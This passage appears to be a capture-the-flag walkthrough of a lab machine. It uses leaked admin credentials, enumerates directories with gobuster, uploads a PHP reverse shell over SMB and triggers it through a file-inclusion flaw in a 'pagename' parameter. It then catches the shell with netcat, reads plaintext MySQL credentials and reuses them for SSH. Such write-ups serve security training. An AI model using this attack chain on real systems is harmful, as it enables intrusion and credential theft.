6 administrator1.friendzone.red

Successful login using `admin:WORKWORKHhallelujah@#` at https://administrator1.friendzone.red/
Login Done ! visit /dashboard.php

https://administrator1.friendzone.red/dashboard.php

Smart photo script for friendzone corp !
* Note : we are dealing with a beginner php developer and the application is not tested yet !
image_name param is missed !
please enter it to show the image
default is image_id=a.jpg&pagename=timestamp

$ gobuster dir -u https://administrator1.friendzone.red/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 50 -k -x php                                            
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     https://administrator1.friendzone.red/
[+] Method:                  GET
[+] Threads:                 50
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Extensions:              php
[+] Timeout:                 10s
===============================================================
2021/06/06 14:57:47 Starting gobuster in directory enumeration mode
===============================================================
/images               (Status: 301) [Size: 349] [--> https://administrator1.friendzone.red/images/]
/login.php            (Status: 200) [Size: 7]
/dashboard.php        (Status: 200) [Size: 101]
/timestamp.php        (Status: 200) [Size: 36]

• image_id = /images/<file_is_here>

• pagename = <.php file>

• We can upload a rev-shell using smb

$ smbclient //10.10.10.123/Development
Enter WORKGROUP\kashz's password:
Try "help" to get a list of possible commands.
smb: \> put shell.php
putting file shell.php as \shell.php (6.2 kb/s) (average 6.2 kb/s)
smb: \> ls
  .                                   D        0  Sun Jun  6 15:16:26 2021
  ..                                  D        0  Wed Jan 23 13:51:02 2019
  shell.php                           A     9141  Sun Jun  6 15:16:28 2021

Going to https://administrator1.friendzone.red/dashboard.php?image_id=b.jpg&pagename=/etc/Development/shell
$ rlwrap nc -lvnp 6969
listening on [any] 6969 ...
connect to [10.10.14.31] from (UNKNOWN) [10.10.10.123] 35382
SOCKET: Shell has connected! PID: 2044
whoami;id
www-data
uid=33(www-data) gid=33(www-data) groups=33(www-data)

grep -rnw /var/www -ie "friend" --color=always 2>/dev/null
<nw /var/www -ie "friend" --color=always 2>/dev/null
/var/www/friendzone/index.html:7:<center><h2>Ready to escape from friend zone !</h2></center>
/var/www/mysql_data.conf:1:for development process this is the mysql creds for user friend
/var/www/mysql_data.conf:3:db_user=friend
/var/www/html/index.html:1:<title>Friend Zone Escape software</title>

cat /var/www/mysql_data.conf
for development process this is the mysql creds for user friend
db_user=friend
db_pass=Agpyu12!0.213$
db_name=FZ

SSH works using friend:Agpyu12!0.213$